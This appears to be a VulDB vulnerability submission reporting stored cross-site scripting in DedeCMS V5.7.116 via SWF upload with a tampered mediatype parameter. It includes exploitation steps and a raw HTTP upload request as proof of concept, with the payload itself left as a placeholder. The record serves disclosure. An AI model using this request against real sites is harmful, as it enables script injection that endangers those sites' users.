제출 #452983: DedeCMS V5.7.116 Cross Site Scripting

Summary
DedeCMS V5.7.116 is affected by a stored cross-site scripting vulnerability that can be exploited by an attacker to upload a malicious SWF file, which can lead to XSS attacks. This vulnerability exists due to insufficient input validation and sanitization of user-supplied data.
Details
Log in and go to http://target-ip/member/uploads_add.php to upload the xss payload in .SWF file.
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Intercept the upload request and change the mediatype parameter in the request to 2.
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Observe the response, which should include a URL similar to /uploads/userup/1/XXXX.swf.
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Access the provided URL to trigger the XSS vulnerability.
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POC
POST /member/uploads_add.php HTTP/1.1
Host: target-ip
Content-Length: 963
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfRghPB9M7esxjc3h
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: [users'cookie]
Connection: keep-alive

------WebKitFormBoundaryfRghPB9M7esxjc3h
Content-Disposition: form-data; name="f"

------WebKitFormBoundaryfRghPB9M7esxjc3h
Content-Disposition: form-data; name="mediatype"

2
------WebKitFormBoundaryfRghPB9M7esxjc3h
Content-Disposition: form-data; name="keyword"

------WebKitFormBoundaryfRghPB9M7esxjc3h
Content-Disposition: form-data; name="dopost"

save
------WebKitFormBoundaryfRghPB9M7esxjc3h
Content-Disposition: form-data; name="title"

123
------WebKitFormBoundaryfRghPB9M7esxjc3h
Content-Disposition: form-data; name="addonfile"; filename="xsstest.swf"
Content-Type: application/x-shockwave-flash

[xss payload in swf]
------WebKitFormBoundaryfRghPB9M7esxjc3h--

• 원천: ⚠️ https://github.com/Hebing123/cve/issues/77
• 사용자: jiashenghe (UID 39445)
• 제출: 2024. 11. 27. AM 09:16 (2 연령 ago)
• 모더레이션: 2024. 12. 04. PM 05:31 (7 days later)
• 상태: 수락
• VulDB 항목: 286903 [DedeCMS 5.7.116 SWF File /member/uploads_add.php mediatype 크로스 사이트 스크립팅]
• 포인트들: 20